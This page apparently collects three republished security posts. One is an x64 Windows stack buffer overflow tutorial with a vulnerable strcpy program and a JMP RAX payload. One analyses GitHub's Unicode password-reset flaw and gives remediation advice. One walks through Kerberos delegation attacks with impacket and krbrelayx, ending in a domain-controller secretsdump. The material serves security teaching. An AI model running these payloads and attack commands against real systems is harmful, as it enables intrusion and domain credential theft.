Stack Based Buffer Overflows on x64 (Windows)

The previous two blog posts describe how a Stack Based Buffer Overflow vulnerability works on x86 (32 bits) Windows. In the first part, you can find a short introduction to x86 Assembly and how the stack works, and on the second part you can understand this vulnerability and find out how to exploit it.

This article will present a similar approach in order to understand how it is possible to exploit this vulnerability on x64 (64 bits) Windows. First part will cover the differences in the Assembly code between x86 and x64 and the different function calling convention, and the second part will detail how these vulnerabilities can be exploited.

ASM for x64

There are multiple differences in Assembly that need to be understood in order to proceed. Here we will talk about the most important changes between x86 and x64 related to what we are going to do.

First of all, the registers are now the following:

The general purpose registers are the following: RAX, RBX, RCX, RDX, RSI, RDI, RBP and RSP. They are now 64 bit (8 bytes) instead of 32 bits (4 bytes).
The EAX, EBX, ECX, EDX, ESI, EDI, EBP, ESP represent the last 4 bytes of the previously mentioned registers. They hold 32 bits of data.
There are a few new registers: R8, R9, R10, R11, R12, R13, R14, R15, also holding 64 bits.
It is possible to use R8d, R9d etc. in order to access the last 4 bytes, as you can do it with EAX, EBX etc.
Pushing and poping data on the stack will use 64 bits instead of 32 bits

Calling convention

Another important difference is the way functions are called, the calling convention.

Here are the most important things we need to know:

First 4 parameters are not placed on the stack. First 4 parameters are specified in the RCX, RDX, R8 and R9 registers.
If there are more than 4 parameters, the other parameters are placed on the stack, from left to right.
Similar to x86, the return value will be available in the RAX register.
The function caller will allocate stack space for the arguments used in registers (called “shadow space” or “home space”). Even if when a function is called the parameters are placed in registers, if the called function needs to modify the registers, it will need some space to store them, and this space will be the stack. The function caller will have to allocate this space before the function call and to deallocate it after the function call. The function caller should allocate at least 32 bytes (for the 4 registers), even if they are not all used.
The stack has to be 16 bytes aligned before any call instruction. Some functions might allocate 40 (0x28) bytes on the stack (32 bytes for the 4 registers and 8 bytes to align the stack from previous usage – the return RIP address pushed on the stack) for this purpose. You can find more details here.
Some registers are volatile and other are nonvolatile. This means that if we set some values into a register and call some function (e.g. Windows API) the volatile register will probably change while nonvolatile register will preserve their values.

More details about calling convention on Windows can be found here.

Function calling example

Let’s take a simple example in order to understand those things. Below is a function that does a simple addition, and it is called from main.

#include "stdafx.h"

int Add(long x, int y)
{
    int z = x + y;
    return z;
}

int main()
{
    Add(3, 4);
    return 0;
}

Here is a possible output, after removing all optimisations and security features.

Main function:

sub rsp,28
mov edx,4
mov ecx,3
call <consolex64.Add>
xor eax,eax
add rsp,28
ret

We can see the following:

sub rsp,28 – This will allocate 0x28 (40) bytes on the stack, as we previously discussed: 32 bytes for the register arguments and 8 bytes for alignment.
mov edx,4 – This will place in EDX register the second parameter. Since the number is small, there is no need to use RDX, the result is the same.
mov ecx,3 – The value of the first argument is place in ECX register.
call <consolex64.Add> – Call the “Add” function.
xor eax,eax – Set EAX (or RAX) to 0, as it will be the return value of main.
add rsp,28 – Clears the allocated stack space.
ret – Return from main.

Add function:

mov dword ptr ss:[rsp+10],edx
mov dword ptr ss:[rsp+8],ecx
sub rsp,18
mov eax,dword ptr ss:[rsp+28]
mov ecx,dword ptr ss:[rsp+20]
add ecx,eax
mov eax,ecx
mov dword ptr ss:[rsp],eax
mov eax,dword ptr ss:[rsp]
add rsp,18
ret

Let’s see how this function works:

mov dword ptr ss:[rsp+10],edx – As we know, the arguments are passed in ECX and EDX registers. But what if the function needs to use those registers (however, please note that some registers must be preserved by a function call, these registers are the following: RBX, RBP, RDI, RSI, R12, R13, R14 and R15)? In this case, the function will use the “shadow space” (“home space”) allocated by the function caller. With this instruction, the function saves on the shadow space the second argument (the value 4), from EDX register.
mov dword ptr ss:[rsp+8],ecx – Similar to the previous instruction, this one will save on the stack the first argument (value 3) from the ECX register
sub rsp,18 – Allocate 0x18 (or 24) bytes on the stack. This function does not call other function, so it is not needed to allocate at least 32 bytes. Also, since it does not call other functions, it is not required to align the stack to 16 bytes. I am not sure why it allocates 24 bytes, it looks like the “local variables area” on the stack has to be aligned to 16 bytes and the other 8 bytes might be used for the stack alignment (as previously mentioned).
mov eax,dword ptr ss:[rsp+28] – Will place in EAX register the value of the second parameter (value 4).
mov ecx,dword ptr ss:[rsp+20] – Will place in ECX register the value of the first parameter (value 3).
add ecx,eax – Will add to ECX the value of the EAX register, so ECX will become 7.
mov eax,ecx – Will save the same value (the sum) into EAX register.
mov dword ptr ss:[rsp],eax and mov eax,dword ptr ss:[rsp] look like they are some effects of the removed optimizations, they don’t do anything useful.
add rsp,18 – Cleanup the allocated stack space.
ret – Return from the function.

Exploitation

Let’s see now how it would be possible to exploit a Stack Based Buffer Overflow on x64. The idea is similar to x86: we overwrite the stack until we overwrite the return address. At that point we can control program execution. This is the easiest example to understand this vulnerability.

We will have a simple program, such as this one:

void Copy(const char *p)
{
    char buffer[40];
    strcpy(buffer, p);
}

int main()
{
    Copy("Test");
    return 0;
}

We have a 40 bytes buffer and a function that will copy some string on that buffer.

This will be the assembly code of the main function:

sub rsp,28                       ; Allocate space on the stack
lea rcx,qword ptr ds:[1400021F0] ; Put in RCX the string ("test")
call <consolex64.Copy>           ; Call the Copy function
xor eax,eax                      ; EAX = 0, return value
add rsp,28                       ; Cleanup the stack space
ret                              ; return

And this will be the assembly code for the Copy function:

mov qword ptr ss:[rsp+8],rcx  ; Save the RCX on the stack
sub rsp,58                    ; Allocate space on the stack
mov rdx,qword ptr ss:[rsp+60] ; Put in RDX the "Test" string (second parameter to strcpy)
lea rcx,qword ptr ss:[rsp+20] ; Put in RCX the buffer (first parameter to strcpy)
call <consolex64.strcpy>      ; Call strcpy function
add rsp,58                    ; Cleanup the stack
ret                           ; Return from function

Let’s modify the Copy function call to the following:

Copy("1111111122222222333333334444444455555555");

The string has 40 bytes, and it will fit in our buffer (however, please not that strcpy will also place a NULL byte after our string, but this way it is easier to see the buffer on the stack).

This is how the stack will look like after the strcpy function call:

000000000012FE90 000007FEEE7E5D98 ; Unused stack space
000000000012FE98 00000001400021C8 ; Unused stack space
000000000012FEA0 0000000000000000 ; Unused stack space
000000000012FEA8 00000001400021C8 ; Unused stack space
000000000012FEB0 3131313131313131 ; "11111111"
000000000012FEB8 3232323232323232 ; "22222222"
000000000012FEC0 3333333333333333 ; "33333333"
000000000012FEC8 3434343434343434 ; "44444444"
000000000012FED0 3535353535353535 ; "55555555"
000000000012FED8 0000000000000000 ; Unused stack space
000000000012FEE0 00000001400021A0 ; Unused stack space
000000000012FEE8 0000000140001030 ; Return address

As you can probably see, we need to add extra 24 bytes to overwrite the return address: 16 bytes the unused stack space and 8 bytes for the return address. Let’s modify the Copy function call to the following:

Copy("11111111222222223333333344444444555555556666666677777777AAAAAAAA");

This will overwrite the return address with “AAAAAAAA”.

NULL byte problem

In our case, a call to “strcpy” function will generate the vulnerability. What is important to understand, is that “strcpy” function will stop copying data when it will encounter first NULL byte. For us, this means that we cannot have NULL bytes in our payload.

This is a problem for a simple reason: the addresses that we might use contain NULL bytes. For example, these are the addresses in my case:

0000000140001000 | 48 89 4C 24 08 | mov qword ptr ss:[rsp+8],rcx 
0000000140001005 | 48 83 EC 58    | sub rsp,58 
0000000140001009 | 48 8B 54 24 60 | mov rdx,qword ptr ss:[rsp+60] 
000000014000100E | 48 8D 4C 24 20 | lea rcx,qword ptr ss:[rsp+20] 
0000000140001013 | E8 04 0B 00 00 | call <consolex64.strcpy>
0000000140001018 | 48 83 C4 58    | add rsp,58 
000000014000101C | C3             | ret

If we would like to proceed like in the 32 bits example, we would have to overwrite the return address to an address such as 000000014000101C where there would be a “JMP RSP” instruction, and continue with our shellcode after this address. As you can see, this is not possible, because the address contains NULL bytes.

So, what can we do? We should find a workaround. A simple and useful trick that we can do is the following: we can partially overwrite the return address. So, instead of overwriting the whole 8 bytes of the address, we can overwrite only the last 4, 5 or 6 bytes. Let’s modify the function call to overwrite only the last 5 bytes, so we will just remove 3 “A”s from our payload. The function call will be the following:

Copy("11111111222222223333333344444444555555556666666677777777AAAAA");

Before the “RET” instruction, the stack will look like this:

000000000012FED8 3636363636363636 ; Part of our payload
000000000012FEE0 3737373737373737 ; Part of our payload
000000000012FEE8 0000004141414141 ; Return address

As you can see, we are able to specify a valid address, so we solved our first issue. However, since we cannot add anything else after this, as we need NULL bytes to have a valid address, how can we exploit this vulnerability?

Let’s take a look at the registers, maybe we can find an easy win. Here are the registers before the RET instruction:

We can see that in the RAX register we can find the address where our payload is stored. This happens for a simple reason: strcpy function will copy the string to the buffer and it will return the address of the buffer. As we already know, the returned data from a function call will be saved in RAX register, so we will have access to our payload using RAX register.

Now, our exploitation is simple:

We have our payload address in RAX register
We find a “JMP RAX” instruction
We specify the address of that instruction as return address

We can easily find some “JMP RAX” instructions:

We will take one of them, one that does not contain NULL bytes in the middle, and we can create the payload:

56 bytes of shellcode (required to reach the return address). We will use 0xCC (the INT 3 instruction, which is used to pause the execution of the program in the debugger)
4 bytes of return address, the “JMP RAX” instruction that we previously found

This is how the function call will look like:

 Copy("\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
      "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
      "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
      "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
      "\xF8\x0E\x7E\x77");

And we have control over the program.

However, please note that we have a small buffer and it might be difficult to find a good shellcode to fit in this space. However, the purpose of the article was to find some way to exploit this vulnerability in a way that can be easily understood.

Conclusion

Maybe this article did not cover a real-life situation, but it should be enough as a starting point in exploiting Stack Based Buffer Overflows on Windows 64 bits.

My recommendation is to compile yourself a program like this one and try to exploit it yourself. You can download my simple Visual Studio 2017 project from here.

24.12.201924.12.2019

Case Study : Exploiting a Business Logic Flaw with GitHub’s Forgot Password workflow (discovered by John Gracey)

Original text by Chetan Conikee

John Gracey of Wisdom published a very interesting business logic flaw in GitHub’s reset password workflow on November 28th, 2019. It was acknowledged and fixed by GitHub’s security team. If not mitigated, this flaw can lead to account takeover vulnerability (specifically for accounts with 2FA not enabled).

From ASCII to Unicode

ASCII (American Standard Code for Information Interchange) had became the first widespread encoding scheme. However, it was limited to only 128 character definitions. This was fine for the most common English characters, numbers, and punctuation, but slowly became limiting for the rest of the world.

Naturally, the rest of the world wanted the same encoding scheme for their characters too, which was why the Unicode standard was created. The objective of Unicode was to unify all the different encoding schemes so that the confusion between computers can be limited as much as possible.

As John Gracey points out, developer understanding of unicode is often limited to internationalization and hence fail to grok details associated with unicode points and units. This lack of understanding could lead to an inherent vulnerability called Unicode Case Mapping Collision.

Loosely speaking, a collision occurs when two different characters are uppercased or lowercased into the same character. This effect is found commonly at the boundary between two different protocols, like email and domain names.
~ John Gracey

On November 24th 2019, GetWisdom had published an exhaustive list of case mapping collisions with english alphabets here . Following this article, John published a detailed case study of the logic flaw here. I’d recommend for you all to read John’s post in detail before you proceed further.

Hacking Unicode Case Mapping Collision

Let us attempt to emulate this business logic workflow associated with resetPassword functionality

Attacker enumerates with a unicode character embedded in local part of email address (not domain part). For example:`jıll@service.com`
Attacker clicks forgot-password and types the email (for example: `jıll@service.com` where `ı` is the unicode character)
The business logic supporting forgot-password function receives the attacker controlled email address and case-folds (toLowerCase) as a part of sanitization practice. This case folding transformation leads to a Unicode Case Mapping Collision which fundamentally transforms the identity to another user’s email address — `jıll@service.com` with a unicode `ı` is transformed into `jill@service.com` due to case mapping collision.
Of course, the validation passes leading to next step of creating a reset link and dispatching an email to address specified via request (which is attacker controlled) and NOT to email-address associated with registered account (retrieved after validating identity).

Let us use this sample spring-boot based application (forked and revised) with forgot password functionality that emulates both a best and worse scenario associated with this logic flaw.conikeec/spring-security-registrationIf you’re already a student of Learn Spring Security, you can get started diving deeper into registration with Module 2…github.com

Refer to controller logic supporting password reset here (with all symptoms that can lead to an exploit)

Attacker enumerates Forgot Password function in SaaS service with an embedded unicode character.
Attacker controlled userEmail parameter is injected into the resetPasswordBad controller routine.
Validation function findUserByEmailaccepts attacker controlled email address that is transformed (via caseFolding) and passes validation condition (if registered user exists).
Email with reset password link is now sent to to address specified via request (which is attacker controlled) and NOT to email-address associated with registered account (retrieved after validating identity).

Automated verification of Business Logic flaws in source code

Let’s fire up ShiftLeft’s Ocular query engine and trace through information flows in order identify all of these missteps leading to this Business Logic Flaw.

git clone git@github.com:conikeec/spring-security-registration.git

cd spring-security-registration

//compile and create package artifact
mvn -Dmaven.test.skip=true clean package

// Download trial distribution of Ocular (https://ocular.shiftleft.io). Install and thereafter fire up the prompt to commence investigation

./ocular.sh

createCpgAndSp("/Users/chetanconikee/pgithub/spring-security-registration/target/spring-security-login-and-registration.war")


//retrieve controller mapped to resetPassword route
case class RouteMapping(routeName : String, backingController : String)
val attackSurface = cpg.annotation.name("RequestMapping").map(x =&gt;
    RouteMapping(x.start.parameterAssign.value.code.l.head, x.start.method.fullName.l.head)
).l

//output
attackSurface: List[RouteMapping] = List(
  RouteMapping(
    "[\"/user/updatePassword\"]",
    "org.baeldung.web.controller.RegistrationController.changeUserPassword:org.baeldung.web.util.GenericResponse(java.util.Locale,org.baeldung.web.dto.PasswordDto)"
  ),
  RouteMapping(
    "[\"/user/changePassword\"]",
    "org.baeldung.web.controller.RegistrationController.showChangePasswordPage:java.lang.String(java.util.Locale,org.springframework.ui.Model,long,java.lang.String)"
  ),
  RouteMapping(
    "[\"/registrationConfirm\"]",
    "org.baeldung.web.controller.RegistrationController.confirmRegistration:java.lang.String(javax.servlet.http.HttpServletRequest,org.springframework.ui.Model,java.lang.String)"
  ),
  RouteMapping(
    "[\"/loggedUsersFromSessionRegistry\"]",
    "org.baeldung.web.controller.UserController.getLoggedUsersFromSessionRegistry:java.lang.String(java.util.Locale,org.springframework.ui.Model)"
  ),
  RouteMapping(
    "[\"/user/resendRegistrationToken\"]",
    "org.baeldung.web.controller.RegistrationController.resendRegistrationToken:org.baeldung.web.util.GenericResponse(javax.servlet.http.HttpServletRequest,java.lang.String)"
  ),
  RouteMapping(
    "[\"/loggedUsers\"]",
    "org.baeldung.web.controller.UserController.getLoggedUsers:java.lang.String(java.util.Locale,org.springframework.ui.Model)"
  ),
  RouteMapping(
    "[\"/user/resetPassword\"]",
    "org.baeldung.web.controller.RegistrationController.resetPassword:org.baeldung.web.util.GenericResponse(javax.servlet.http.HttpServletRequest,java.lang.String)"
  ),
  RouteMapping(
    "[\"/user/registrationCaptcha\"]",
    "org.baeldung.web.controller.RegistrationCaptchaController.captchaRegisterUserAccount:org.baeldung.web.util.GenericResponse(org.baeldung.web.dto.UserDto,javax.servlet.http.HttpServletRequest)"
  ),
  RouteMapping(
    "[\"/user/savePassword\"]",
    "org.baeldung.web.controller.RegistrationController.savePassword:org.baeldung.web.util.GenericResponse(java.util.Locale,org.baeldung.web.dto.PasswordDto)"
  ),
  RouteMapping(
    "[\"/user/registration\"]",
    "org.baeldung.web.controller.RegistrationController.registerUserAccount:org.baeldung.web.util.GenericResponse(org.baeldung.web.dto.UserDto,javax.servlet.http.HttpServletRequest)"
  ),
  RouteMapping(
    "[\"/user/update/2fa\"]",
    "org.baeldung.web.controller.RegistrationController.modifyUser2FA:org.baeldung.web.util.GenericResponse(boolean)"
  ),
  RouteMapping(
    "[\"/user/resetPasswordBad\"]",
    "org.baeldung.web.controller.RegistrationController.resetPasswordBad:org.baeldung.web.util.GenericResponse(javax.servlet.http.HttpServletRequest,java.lang.String)"
  )
)

At this stage we have extracted the attack surface and identified all controller functions mapped to exposed routes. Let us proceed to next step.

This route particularly is of interest to us is

RouteMapping( “[\”/user/resetPasswordBad\”]”, “org.baeldung.web.controller.RegistrationController.resetPasswordBad:org.baeldung.web.util.GenericResponse(javax.servlet.http.HttpServletRequest,java.lang.String)” )

CONDITION #1 : Attacker controlled vector (email) with unicode in local part is case folded and then passed to database validation routine

//define the source function and attacker controlled vector (which is the email address parameter)
val source = cpg.method.fullNameExact("org.baeldung.web.controller.RegistrationController.resetPasswordBad:org.baeldung.web.util.GenericResponse(javax.servlet.http.HttpServletRequest,java.lang.String)").parameter.evalType("java.lang.String")

// The DB lookup function is a part of the IUserService interface, implemented by UserService here https://github.com/conikeec/spring-security-registration/blob/master/src/main/java/org/baeldung/service/UserService.java#L136
val DB_LOOKUP_FN_EXPR = ".*findUserByEmail.*"

//define the sink function that participates in the data flow
val sink = cpg.method.name(DB_LOOKUP_FN_EXPR).parameter.evalType("java.lang.String")

// Verify BUSINESS LOGIC FLAW check to determine if attack controller vector (email) is caseFolded prior to DB lookup
sink.reachableBy(source).flows.passes(_.isCall.name(".*toLowerCase.*")).p

  """ _____________________________________________________________________________________________________________________
 | tracked                | lineNumber| method               | file                                                   |
 |====================================================================================================================|
 | userEmail              | 134       | resetPasswordBad     | org/baeldung/web/controller/RegistrationController.java|
 | userEmail              | 135       | resetPasswordBad     | org/baeldung/web/controller/RegistrationController.java|
 | this                   | N/A       | toLowerCase          | java/lang/String.java                                  |
 | ret                    | N/A       | toLowerCase          | java/lang/String.java                                  |
 | userEmail.toLowerCase()| 135       | resetPasswordBad     | org/baeldung/web/controller/RegistrationController.java|
 | param1                 | N/A       | .assignment| N/A                                                    |
 | param0                 | N/A       | .assignment| N/A                                                    |
 | $r1                    | 135       | resetPasswordBad     | org/baeldung/web/controller/RegistrationController.java|
 | $r1                    | 135       | resetPasswordBad     | org/baeldung/web/controller/RegistrationController.java|
 | param0                 | N/A       | findUserByEmail      | org/baeldung/service/IUserService.java                 |
"""

CONDITION #2 : If condition #1 passes, a reset token of a registered user is sent to attacker controlled email (with embedded unicode character)

//define the source function and attacker controlled vector (which is the email address parameter)
val source = cpg.method.fullNameExact("org.baeldung.web.controller.RegistrationController.resetPasswordBad:org.baeldung.web.util.GenericResponse(javax.servlet.http.HttpServletRequest,java.lang.String)").parameter.evalType("java.lang.String")

//define email channel sink function name
val EMAIL_CHANNEL_SINK="org.springframework.mail.javamail.JavaMailSender.send:void(org.springframework.mail.SimpleMailMessage)"

//define the sink function that participates in the data flow
val sink = cpg.method.fullNameExact(EMAIL_CHANNEL_SINK).parameter.evalType("java.lang.String")

// Verify BUSINESS LOGIC FLAW check to determine if attack controller vector (email) is used in emailSend function, rather than the registered user email (determined after fetch from DB in step #1)
sink.reachableBy(source).flows.p

//results
res58: List[String] = List(
  """ __________________________________________________________________________________________________________________________________________________________________
 | tracked                                                       | lineNumber| method                     | file                                                   |
 |=================================================================================================================================================================|
 | userEmail                                                     | 134       | resetPasswordBad           | org/baeldung/web/controller/RegistrationController.java|
 | userEmail                                                     | 139       | resetPasswordBad           | org/baeldung/web/controller/RegistrationController.java|
 | userEmail                                                     | 198       | constructResetTokenEmailBad| org/baeldung/web/controller/RegistrationController.java|
 | userEmail                                                     | 201       | constructResetTokenEmailBad| org/baeldung/web/controller/RegistrationController.java|
 | userEmail                                                     | 213       | constructEmailBad          | org/baeldung/web/controller/RegistrationController.java|
 | userEmail                                                     | 217       | constructEmailBad          | org/baeldung/web/controller/RegistrationController.java|
 | param0                                                        | N/A       | setTo                      | org/springframework/mail/SimpleMailMessage.java        |
 | this                                                          | N/A       | setTo                      | org/springframework/mail/SimpleMailMessage.java        |
 | email                                                         | 217       | constructEmailBad          | org/baeldung/web/controller/RegistrationController.java|
 | email                                                         | 218       | constructEmailBad          | org/baeldung/web/controller/RegistrationController.java|
 | this                                                          | N/A       | setFrom                    | org/springframework/mail/SimpleMailMessage.java        |
 | this                                                          | N/A       | setFrom                    | org/springframework/mail/SimpleMailMessage.java        |
 | email                                                         | 218       | constructEmailBad          | org/baeldung/web/controller/RegistrationController.java|
 | email                                                         | 219       | constructEmailBad          | org/baeldung/web/controller/RegistrationController.java|
 | ret                                                           | 213       | constructEmailBad          | org/baeldung/web/controller/RegistrationController.java|
 | this.constructEmailBad("Reset Password",$r11,userEmail)       | 201       | constructResetTokenEmailBad| org/baeldung/web/controller/RegistrationController.java|
 | param1                                                        | N/A       | .assignment      | N/A                                                    |
 | param0                                                        | N/A       | .assignment      | N/A                                                    |
 | $r12                                                          | 201       | constructResetTokenEmailBad| org/baeldung/web/controller/RegistrationController.java|
 | $r12                                                          | 201       | constructResetTokenEmailBad| org/baeldung/web/controller/RegistrationController.java|
 | ret                                                           | 198       | constructResetTokenEmailBad| org/baeldung/web/controller/RegistrationController.java|
 | this.constructResetTokenEmailBad($r9,$r10,token,$l0,userEmail)| 139       | resetPasswordBad           | org/baeldung/web/controller/RegistrationController.java|
 | param1                                                        | N/A       | .assignment      | N/A                                                    |
 | param0                                                        | N/A       | .assignment      | N/A                                                    |
 | $r12                                                          | 139       | resetPasswordBad           | org/baeldung/web/controller/RegistrationController.java|
 | $r12                                                          | 139       | resetPasswordBad           | org/baeldung/web/controller/RegistrationController.java|
 | param0                                                        | N/A       | send                       | org/springframework/mail/javamail/JavaMailSender.java  |
"""
)

Safe Coding to prevent this business logic flaw

Observe for anomalous volume of password resets (forgot password requests) initiated upon your application. An attacker is most likely enumerating your end point.
Use two factor authentication (2FA) as a part of validation and reset functions.
As John Gracey suggests, use punycode conversion as a part of your registration, validation and reset functions. Validate for both, local and domain part of email addresses.
Continuously verify your entire fleet of applications in a CI/CD pipeline to ensure that none of the conditions above are violating baseline checks in any current and future releases.
Send out password reset email ONLY to the original email address that was used to create the account and NOT to email address controlled by attacker.

ShiftLeft is an application security platform built over the foundational Code Property Graph that is uniquely positioned to deliver a specification model to query for vulnerable conditions, business logic flaws and insider attacks that might exist in your application’s codebase.

If you’d like to learn more about ShiftLeft, please request a demo.

Stay Safe!

21.12.201921.12.2019

No Shells Required — a Walkthrough on Using Impacket and Kerberos to Delegate Your Way to DA

Original text by Red XOR Blue

There are a ton of great resources that have been released in the past few years on a multitude of Kerberos delegation abuse avenues. However, most of the guidance out there is pretty in-depth and/or focuses on the usage of @Harmj0y’s Rubeus. While Rubeus is a super well-written tool that can do quite a few things extremely well, in engagements where I’m already running off of a primarily Linux environment, having tools that function on that platform can be beneficial. To that end, all the functionality we need to perform unconstrained, constrained, and resource-based constrained delegation attacks is already available to us in the impacket suite of tools.
This post will cover how to identify potential delegation attack paths, when you would want to use them, and give detailed walkthroughs of how to perform them on a Linux platform. What we won’t be covering in this guide is a detailed background of Kerberos authentication, or how various types of delegation work in-depth, as there are some really great articles already out that go into a ton of detail on the inner-workings of the protocol. If you are interested in a deeper dive, the most comprehensive & enlightening post I’ve read is @Elad_Shamir’s write-up: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

Unconstrained Delegation

What Is It?

Back in the early days of Windows Active Directory (pre-Server 2003) this was really the only way to delegate access, which at a high level effectively means configuring a service with privileges to impersonate users elsewhere on the network. Unconstrained Delegation would be used for something like a front-end web server that needed to take in requests from users, and then impersonate those users to access their data on a second database server.

Unfortunately, as the name implies, these impersonation rights were not limited to a single system or service, but rather allowed a configured account to impersonate anyone that authenticated against it anywhere on the network. This is due to the fact that when an object authenticates to a service tied to an account configured with unconstrained delegation, they send the remote service a copy of their TGT (Ticket Granting Ticket), which allows the remote system to generate new TGS (Ticket Granting Service / service ticket) requests at-will. These TGS’ are used for authenticating to Kerberos-enabled services across the network, meaning that if you possess an object’s TGT you can impersonate them anywhere on the network where you can authenticate with Kerberos.

When To Use:

If you can gain access to an account (user or computer) that is configured with unconstrained delegation. To identify users & computers configured with unconstrained delegation I use pywerview, a python port of a good chunk of powerview’s functionality (https://github.com/the-useless-one/pywerview) but feel free to use whatever tools works best for you. This tool has handy flags to pull both accounts configured with both constrained + unconstrained delegation. In this case what we’re really looking for is any user or computer with a UserAccountControl attribute that includes ‘TRUSTED_FOR_DELEGATION’. All we’ll need at this point is a set of creds for AD to allow us to do the enumeration. Taking a look at the output of the check we ran below, we can see that the user ‘unconstrained’ is configured with unconstrained delegation:

If you have find you have access to a computer object that is configured with unconstrained delegation, it may be easier simply to perform the print spooler attack and extract the ticket from memory using Rubeus, as detailed here: https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1. However, if you have access to a user account configured with delegation or would prefer to avoid running code on remote systems as much as possible, the following should be helpful.

Process Walkthrough:

Note: This section is pretty much a direct walkthrough of the awesome work @_dirkjan wrote up in his blog here: https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/ If you’re familiar with this style of attack it’s nothing new, just a (hopefully) fairly straightforward walkthrough of the path that I’ve had the most success with on engagements after identifying unconstrained delegation.
If we do end up identifying any user accounts configured with unconstrained delegation, we’ll want to obtain Kerberos tickets we can attempt to crack. For an account to be configured with delegation, they also need to be configured with an SPN (Service Principal Name). This means that we should be able to retrieve a crackable Kerberos ticket for the account using GetUserSPNs.py

GetUserSPNs.py DOMAIN/USER:PASSWORD -request-user UNCONSTRAINED_USER

Assuming we’re able to recover the password for an account / used another method to get admin access on a computer configured with unconstrained delegation, we can now move on to attempting to leverage this access to get DA on the network. We’ll start by attempting to add an SPN to the account we have access to. This is the only part of the attack that will require non-default settings to be configured (for a user account), but per all the sql devs on stack exchange asking how to enable it, it seems to be something that should be commonly turned on already. If we have access to a computer account configured with unconstrained delegation, we can use the ‘Validated write to DNS host name’ security attribute (configured by default) to add an additional hostname to the object, which will automatically configure new SPN’s that will also be configured with unconstrained delegation. We then just have to create a new DNS record to point that new hostname to us.
We’ll be using dirk-jan’s krbrelayX toolkit for the rest of this process (https://github.com/dirkjanm/krbrelayx), first using addspn.py to attempt to add a ‘host’ spn for a nonexistent system on the network. Note – it is important to ensure when you’re adding an SPN you use the fqdn of the network, not just the hostname. You’ll see one of two messages, based on if your account has privileges to modify its own SPN’s (above = an account with appropriate attributes set, below = attribute not set).

addspn.py -u DOMAIN\\USER -p PASSWORD -s host/FAKESYSTEM.FQDN ldap://DC.FQDN

If you don’t have privileges, this is pretty much the end of this potential vector, although I would still recommend targeting the systems(s) on which the account has SPN’s configured for, as they likely have TGT’s in-memory.
However, if we are able to successfully add an SPN for a non-existent system we can keep going. Next, we’ll want to add a DNS record for this same non-existent system that links back to our system’s IP, effectively turning our system into this non-existent system. Due to the actions we took in the last step (creating an SPN for the ‘host’ service with our user configured with unconstrained delegation on this non-existent hostname that now points to our system), we are basically creating a new ‘computer’ on the network that has unconstrained delegation configured on the ‘host’ service on it.
We’ll be using another part of the krbrelayx toolkit, dnstool.py, to complete this step to create a new DNS record and then point it at the IP of our attack box (Note: dns records take ~3 minutes to update, so don’t worry if you complete this step and cant immediately ping / nslookup your new host):

dnstool.py -u DOMAIN\\USERNAME -p PASSWORD -r FAKESYSTEM.FQDN -a add -d YOUR_IP DC_HOSTNAME

Everything should be ready to go now, we’ll execute the print spooler bug to force the DC$ account to attempt to authenticate to the host service of our new ‘computer’ that is configured with unconstrained delegation. This will in turn cause the DC to provide a copy of its TGT when authenticating, which we can then use to impersonate it on any other Kerberos-enabled service. In one window we’ll set up krbrelayx.py as follows: **This is very important** the krbsalt is the FQDN of the domain in ALL CAPS, followed immediately by the username (case-sensitive). The Krbpass is the user’s password, nothing crazy there.

krbrelayx.py --krbsalt DOMAIN.FQDNUsernameCaseSensitive --krbpass PASSWORD

Once you have that running in one window, we’ll use the final tool within the krbrelayx toolkit to kick off the attack (Note: The user used to kick off the attack doesn’t matter, it can be any domain user). The below shows what the successful attack looks like:

printerbug.py DOMAIN/USERNAME:PASSWORD@DC_HOSTNAME FAKE_SYSTEM.FQDN

On our krbrelayx window, we should see that we have gotten an inbound connection, and have obtained a tgt (formatted as .ccache) file for the DC$ account:

At this point, we just need to export the ticket we received into memory, after which we should be able to run secretsdump against the DC:

export KRB5CCNAME=CCACHE_FILE.CCACHE

secretsdump.py -k DC_Hostname -just-dc

Constrained Delegation

What Is It?

Microsoft’s next iteration of delegation included the ability to limit where objects had delegation (impersonation) rights to. Now a front-end web server that needed to impersonate users to access their data on a database could be restricted; allowing it to only impersonate users on a specific service & system. However, as we will find out, the portion of the ticket that limits access to a certain service is not encrypted. This gives us some room to gain additional access to systems if we gain access to an object configured with these rights.

When To Use:

If you can gain access to an account (user or computer) that is configured with constrained delegation. You can find this by searching for the ‘TRUSTED_TO_AUTH_FOR_DELEGATION’ value in the UserAccountControl attribute of AD objects. This can be also be found through the use of Pywerview, as outlined in the above section.

Process Walkthrough:

This time, we’ll start by targeting another account, httpDelegUser. As we can see from our initial enumeration with Pywerview, this account has the ‘TRUSTED_TO_AUTH_FOR_DELEGATION’ flag set. We can also check the contents of the account’s msDS-AllowedToDelegateTo attribute to determine that it has delegation privileges to the www service on Server02. Not the worst thing in the world, but probably not going to get us a remote shell.

Also a quick recap of the account’s group memberships:

To start this attack, we’ll use another impacket tool – getST.py – to retrieve a ticket for an impersonated user to the service we have delegation rights to (the www service on server02 in this case). In this example we’ll impersonate ‘bob’, a domain admin in this environment. Note: If a user is marked as ‘Account is sensitive and cannot be delegated’ in AD, you will not be able to impersonate them.

getST.py -spn SERVICE/HOSTNAME_YOU_HAVE_DELEGATION_RIGHTS_TO.FQDN -impersonate TARGET_USER DOMAIN/USERNAME:PASSWORD

From here, the initial assumption would be that we could only authenticate against the www service on server02 with this ticket. However, Alberto Solino discovered that the service name portion of the ticket (sname) is not actually a protected part of the ticket. This allows us to change the sname to any value we want, as long as its another service running under the same account as the original one we have delegation rights to. For example, if our account (httpDelegUser) has delegation rights to a service that the server02 computer object is running (example SPN: www/server02), we can change our sname to any other SPN associated with server02 (ex. cifs/server02). His blog on the mechanism by which this occurs is super insightful, and worth a read: https://www.secureauth.com/blog/kerberos-delegation-spns-and-more
Even better for us, as Alberto Solino is one of the primary writers of impacket, he built this logic in so that these sname conversions happen automatically for us on the back-end:

From an operational standpoint, what this means is that the ticket for the www service we obtained in the step above can be loaded into memory and used to use just about any of the impacket suite of tools to run commands, dump SAM, etc.

